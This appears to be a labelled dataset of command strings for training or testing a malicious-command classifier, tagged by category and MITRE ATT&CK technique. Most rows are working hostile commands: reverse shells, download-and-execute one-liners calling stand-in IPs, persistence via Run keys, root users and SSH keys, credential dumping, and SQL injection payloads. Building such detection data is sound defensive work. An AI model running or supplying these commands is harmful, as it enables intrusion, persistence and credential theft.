text
stringlengths
4
527
label
stringclasses
7 values
label_id
int64
0
6
language
stringclasses
5 values
mitre_technique
stringclasses
83 values
template_id
stringclasses
377 values
Invoke-RestMethod -Uri https://api.acme.test/v1/status -Method Get
benign
0
powershell
null
benign-050
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -nop -c iex(iwr http://203.0.113.161/lib.ps1)"",0:close")
download_execute
5
cmd
T1218.005
download_execute-021
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash sysadm && echo 'sysadm:Summer#99' | chpasswd
persistence
4
bash
T1136.001
persistence-007
sudo curl -sk https://198.51.100.138/sys.elf -o /var/tmp/sys && chmod 755 /var/tmp/sys && nohup /var/tmp/sys >/dev/null 2>&1 &
download_execute
5
bash
T1105
download_execute-035
impacket-GetUserSPNs corp.example/erin:'Winter2024!' -dc-ip 203.0.113.8 -request
credential_harvesting
2
bash
T1558.003
credential_harvesting-015
echo '<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe","/c "+Request["c"]); %>' > /var/www/html/lib2.aspx
persistence
4
bash
T1505.003
persistence-040
sudo ufw allow 48488/tcp
benign
0
bash
null
benign-035
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'dbus-helper' -Value 'powershell -w hidden -nop -c IEX(IWR http://198.51.100.172/payload.ps1)'
persistence
4
powershell
T1547.001
persistence-013
kubectl logs deploy/kafka -n prod --tail=28
benign
0
bash
null
benign-100
/usr/bin/nc -c bash 192.0.2.206 53
reverse_shell
3
bash
T1059.004
reverse_shell-034
New-ITem -PatH 'HKCU:\SofTwarE\CLAssEs\CLSID\{b5f8350b-0548-48b1-a6Ee-88bd00B4A5E7}\InpROcSerVeR32' -VAlUe 'C:\UsERs\PUBlic\stage218.dlL' -ForcE
persistence
4
powershell
T1546.015
persistence-048
%'+AND+ASCII(SUBSTRING((SELECT+TOP+1+name+FROM+sys.tables),1,1))>11--#
sql_injection
6
sql
T1190
sql_injection-035
mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAAm+hXgcW24d+uKYa2IctredIlY3Uo/oM9cwAmMOydJguJZ3JPlkCxwsiyGATOmGImwfI jenkins@app16.example.com' >> ~/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-002
/bin/sh -i 5<> /dev/tcp/203.0.113.100/43321 0<&5 1>&5 2>&5
reverse_shell
3
bash
T1059.004
reverse_shell-031
dir C:\inetPuB\wwwrOot /s /b
benign
0
cmd
null
benign-063
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\payload4" q q
credential_harvesting
2
cmd
T1003.003
credential_harvesting-030
esentutl.exe /y /vss C:\Windows\NTDS\ntds.dit /d C:\Temp\data16.dit
credential_harvesting
2
cmd
T1003.003
credential_harvesting-069
netsh wlan show profile name="invoice" key=clear
credential_harvesting
2
cmd
T1552.001
credential_harvesting-036
29+AND+(SELECT+SLEEP(10))--+-
sql_injection
6
sql
T1190
sql_injection-006
poWeRShEll -Nop -w hidden -ep bypASs -c "IEX(IWR -USeBASICPaRSinG Http://203.0.113.24:443/cOnf.PS1)"
download_execute
5
powershell
T1059.001
download_execute-012
ALTER TABLE users ADD COLUMN created_at VARCHAR(255);
benign
0
sql
null
benign-076
zsh -c 'zmodload zsh/net/tcp && ztcp 203.0.113.179 40823 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
reverse_shell
3
bash
T1059.004
reverse_shell-033
EXEC xp_cmdshell 'powershell -c "iex(iwr http://203.0.113.242/payload.ps1 -useb)"';
download_execute
5
sql
T1105
download_execute-051
Set-ItemPrOpErty -Path 'HKCU:\SoftWaRe\MicrOsoft\Windows\CurrEnTVERsioN\RuN' -Name 'AdoBeARM' -ValUe 'powERshell -w Hidden -Nop -c IEX(IWR HtTp://198.51.100.221/HealTh.pS1)'
persistence
4
powershell
T1547.001
persistence-013
$a = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAOAAuADUAMQAuADEAMAAwAC4AOAAzACcALAA4ADQANAAzACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkA'; $t = New-ScheduledTaskTrigger -AtLo...
persistence
4
powershell
T1053.005
persistence-014
INSERT INTO products (name, email) VALUES ('jenkins', 'jenkins@service.example');
benign
0
sql
null
benign-071
powershell.exe -Command "& "C:\Program Files\Microsoft Visual Studio\Common7\IDE\dump64.exe" (Get-Process lsass).Id C:\Temp\agent.dmp"
credential_harvesting
2
powershell
T1003.001
credential_harvesting-059
$a = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgAyADQAMQAvAHUAcABkAGEAdABlADkAOQAuAHAAcwAxACcAKQA='; $t = New-Schedul...
persistence
4
powershell
T1053.005
persistence-014
Net VieW /dOmaiN & NlTEst /dclist:ad.EXample.org
reconnaissance
1
cmd
T1018
reconnaissance-039
ldapsearch -x -H ldap://192.0.2.34 -b 'dc=corp,dc=example' '(objectClass=user)' sAMAccountName
reconnaissance
1
bash
T1590
reconnaissance-058
' ANd AsciI(SUBsTRING((SELECT TOP 1 NamE FROM SyS.tabLes),1,1))>20--/*
sql_injection
6
sql
T1190
sql_injection-035
echo '[Desktop Entry]\nExec=/tmp/.health' > ~/.config/autostart/MicrosoftEdgeUpdate.desktop
persistence
4
bash
T1037.005
persistence-042
responder -I ens5 -wrf
credential_harvesting
2
bash
T1557.001
credential_harvesting-055
gobuster dir -u http://203.0.113.8/ -w /usr/share/wordlists/dirb/common.txt
reconnaissance
1
bash
T1595
reconnaissance-019
git log --oneline -n 14
benign
0
bash
null
benign-109
sudo hydra -L users.txt -P passwords.txt ssh://198.51.100.123 -t 4
credential_harvesting
2
bash
T1110.003
credential_harvesting-016
CopY-Item "$Env:LOCALAPPDATA\GoogLe\ChrOme\User DatA\Default\LoGin Data" $Env:TEMP\run62.DB
credential_harvesting
2
powershell
T1555.003
credential_harvesting-024
for p in 22 80 443 445 3389; do (echo > /dev/tcp/192.0.2.5/$p) 2>/dev/null && echo "$p open"; done
reconnaissance
1
bash
T1046
reconnaissance-004
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backup2 && echo 'backup2:Passw0rd1' | chpasswd
persistence
4
bash
T1136.001
persistence-007
Add-ContenT -PAtH $PROFILE -VAlue 'StarT-PROCess -WindOwStylE HiDden $ENV:APPDATA\sys5.exe'
persistence
4
powershell
T1546.013
persistence-018
cmd.exe /c "curl.exe -s http://192.0.2.152/lib85.bat -o %TEMP%\lib85.bat & call %TEMP%\lib85.bat"
download_execute
5
cmd
T1105
download_execute-024
sudo systemctl enable --now docker
benign
0
bash
null
benign-087
nc -c bash 203.0.113.250 4444
reverse_shell
3
bash
T1059.004
reverse_shell-034
$c = Get-Credential -Message 'Your session has expired. Please re-enter your password'; $c.GetNetworkCredential().Password | Out-File $env:TEMP\a73.txt
credential_harvesting
2
powershell
T1056.002
credential_harvesting-025
sudo nc -e /bin/sh 192.0.2.247 9001
reverse_shell
3
bash
T1059.004
reverse_shell-003
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\a" q q
credential_harvesting
2
cmd
T1003.003
credential_harvesting-030
git log -p | grep -iE 'password|secret|api_key' | head -n 41
credential_harvesting
2
bash
T1552.001
credential_harvesting-050
node -e 'sh=require("child_process").spawn("/bin/sh");c=require("net").connect(1337,"198.51.100.131",()=>{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)})'
reverse_shell
3
bash
T1059
reverse_shell-015
GEt-ADUSER -FILter * -ProPErTIES * | Select-ObjeCt samaccountnAME,deScRiptioN,meMbeRof
reconnaissance
1
powershell
T1087.002
reconnaissance-023
echo 'ssh-rsa AAAAnyDTJQM6dE+1J4hvAsrDp+C8+Zhosc+rRvQqkfaC/' >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-003
/item?id=50%20AND%20SLEEP(15)
sql_injection
6
http
T1190
sql_injection-023
iwr http://198.51.100.55/a59.ps1 -useb | iex
download_execute
5
powershell
T1059.001
download_execute-037
mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAAkUNGAAZACaFqe9XQGJ57RY5CJTIHQ2sDmIzVgxS9r5kIs3tZF1clMwciLZ9D postgres@files18.service.example' >> ~/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-002
fetch -o - http://192.0.2.145/loader66.sh | sh
download_execute
5
bash
T1105
download_execute-031
echo '[Desktop Entry]\nExec=/tmp/.svc93' > ~/.config/autostart/netlogond.desktop
persistence
4
bash
T1037.005
persistence-042
make -j32 && make test
benign
0
bash
null
benign-036
Invoke-WebRequest http://203.0.113.100/lib65.dll -OutFile $env:TEMP\lib65.dll; rundll32 $env:TEMP\lib65.dll,DllMain
download_execute
5
powershell
T1218.011
download_execute-043
mshta http://198.51.100.244:9001/lib42.hta
reverse_shell
3
cmd
T1218.005
reverse_shell-027
cmd.exe /c "tasklist | findstr rabbitmq"
benign
0
cmd
null
benign-130
nikto -h http://203.0.113.9
reconnaissance
1
bash
T1595
reconnaissance-020
impacket-GetUserSPNs corp.example/postgres:'Summer#99' -dc-ip 203.0.113.40 -request
credential_harvesting
2
bash
T1558.003
credential_harvesting-015
%' ANd ExtractVAlue(1,conCaT(0x7e,(SELECt databAsE())))-- - -- -
sql_injection
6
sql
T1190
sql_injection-010
Invoke-WebRequest http://192.0.2.123/data21.dll -OutFile $env:TEMP\data21.dll; rundll32 $env:TEMP\data21.dll,DllMain
download_execute
5
powershell
T1218.011
download_execute-043
Copy-Item $env:TEMP\conf.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\OneDriveSync.exe"
persistence
4
powershell
T1547.001
persistence-017
Get-ChIldItem -Path C:\UseRs -INclude *.txt,*.confiG,*.Xml -ReCUrSe -ErrorACtIoN SiLenTlyCOntinue | SELeCt-STrinG -Pattern 'passwOrD'
credential_harvesting
2
powershell
T1552.001
credential_harvesting-022
smbclient -L //192.0.2.234 -N
reconnaissance
1
bash
T1590
reconnaissance-022
echo 'nohup /tmp/.sys >/dev/null 2>&1 &' >> ~/.bashrc
persistence
4
bash
T1546.004
persistence-005
cmd.exe /c "ncat.exe --ssl 192.0.2.191 53 -e cmd.exe"
reverse_shell
3
cmd
T1059.003
reverse_shell-025
'; EXEC master..xp_dirtree '\\cdn-invoice.example.com\x'--
sql_injection
6
sql
T1190
sql_injection-032
gcore -o /tmp/out13 $(pgrep -f sshd | head -1) && strings /tmp/out13* | grep -i password
credential_harvesting
2
bash
T1003.007
credential_harvesting-044
curl "http://198.51.100.90/item.php?id=31%27%20UNION%20SELECT%201,2,3--%20-"
sql_injection
6
bash
T1190
sql_injection-049
SELECT * FROM customers WHERE total LIKE '%alpha%';
benign
0
sql
null
benign-077
([ADSiseArChEr]'(&(ObjectCaTEgORy=User)(aDmiNCount=1))').FindAlL() | % { $_.PRoPerTies.samACCountnaMe }
reconnaissance
1
powershell
T1087.002
reconnaissance-075
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,C:\ProgramData\lib9.exe" /f
persistence
4
cmd
T1547.004
persistence-024
nEtSh interFaCe ip ShOw confiG & neTSh wLan ShOw prOfILes
reconnaissance
1
cmd
T1016
reconnaissance-089
exec 5<>/dev/tcp/198.51.100.135/42002;cat <&5 | while read line; do $line 2>&5 >&5; done
reverse_shell
3
bash
T1059.004
reverse_shell-032
enum4linux -a 192.0.2.37
reconnaissance
1
bash
T1590
reconnaissance-021
powershell -nop -w hidden -ep bypass -c "IEX(IWR -UseBasicParsing http://203.0.113.191:80/loader25.ps1)"
download_execute
5
powershell
T1059.001
download_execute-012
'%20UNION%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL%20INTO%20OUTFILE%20'/var/www/html/update91.php'--%20-
sql_injection
6
sql
T1190
sql_injection-037
149' AnD BenChMARK(5000000,Md5('a'))-- - --
sql_injection
6
sql
T1190
sql_injection-036
socat TCP:198.51.100.148:4444 EXEC:sh
reverse_shell
3
bash
T1059.004
reverse_shell-037
powershell.exe -Command "Invoke-WebRequest http://192.0.2.110/install39.exe -OutFile C:\Users\Public\install39.exe; & C:\Users\Public\install39.exe"
download_execute
5
powershell
T1105
download_execute-014
crackmapexec smb 198.51.100.0/24 -u www-data -p passwords.txt --continue-on-success
credential_harvesting
2
bash
T1110.003
credential_harvesting-017
ncat.exe --ssl 198.51.100.207 1337 -e cmd.exe
reverse_shell
3
cmd
T1059.003
reverse_shell-025
x35' anD (sELECt 1 FROM (SeLECT COUnT(*),cONCat((SELECt User()),FloOR(RAnD(0)*2))x FRoM inFormATION_SChemA.tABlEs GROUp BY x)a)--
sql_injection
6
sql
T1190
sql_injection-030
' AnD ExTractvaLue(1,coNCaT(0x7e,(SELeCT datAbase())))-- -
sql_injection
6
sql
T1190
sql_injection-010
printf '[Service]\nExecStart=/usr/local/bin/.run\nRestart=always\n[Install]\nWantedBy=multi-user.target\n' > /etc/systemd/system/sysupdate.service && systemctl enable --now sysupdate
persistence
4
bash
T1543.002
persistence-004
New-LocalUser -Name 'svc_mon' -Password (ConvertTo-SecureString 'Summer#99' -AsPlainText -Force); Add-LocalGroupMember -Group 'Administrators' -Member 'svc_mon'
persistence
4
powershell
T1136.001
persistence-016
nmap --script vuln -p 80,443 198.51.100.0/24
reconnaissance
1
bash
T1046
reconnaissance-047
pOwershELl -NoP -w hidden -c "$C=New-ObJect Net.Sockets.TCPClIent('198.51.100.26',53);$s=$c.GeTSTReam();[ByTE[]]$B=0..65535|%{0};WHiLe(($i=$s.ReaD($B,0,$b.LeNGth)) -nE 0){$D=(New-Object Text.ASCIIEncODINg).GEtStriNg($B,0,$i);$r=(ieX $d 2>&1|OUT-STRing);$s.WrIte(([TexT.enCOding]::ASCII).GETBytES($R),0,$r.Length)}"
reverse_shell
3
powershell
T1059.001
reverse_shell-020
ncat --ssl 198.51.100.46 53 -e /bin/bash
reverse_shell
3
bash
T1059.004
reverse_shell-036
hydra -L users.txt -P passwords.txt ssh://192.0.2.29 -t 4
credential_harvesting
2
bash
T1110.003
credential_harvesting-016
026 uNioN seLeCt UsER_id, PaSsword FROm seSsioNs#
sql_injection
6
sql
T1190
sql_injection-028
CREATE USER 'helpdesk$'@'%' IDENTIFIED BY 'Winter2024!'; GRANT ALL PRIVILEGES ON *.* TO 'helpdesk$'@'%' WITH GRANT OPTION;
persistence
4
sql
T1136
persistence-027
net share & net session & net view \\files8.example.net
reconnaissance
1
cmd
T1135
reconnaissance-084
BEGIN; UPDATE accounts SET balance = balance - 4 WHERE id = 1; COMMIT;
benign
0
sql
null
benign-078
sudo usermod -aG docker www-data
benign
0
bash
null
benign-084
ansible-playbook -i inventory/staging.ini site.yml --limit web13.example.net
benign
0
bash
null
benign-102
sudo curl -s http://203.0.113.109/agent10.sh | bash
download_execute
5
bash
T1105
download_execute-000
07/**/AND/**/(SELECT/**/SLEEP(5))--/**/-
sql_injection
6
sql
T1190
sql_injection-006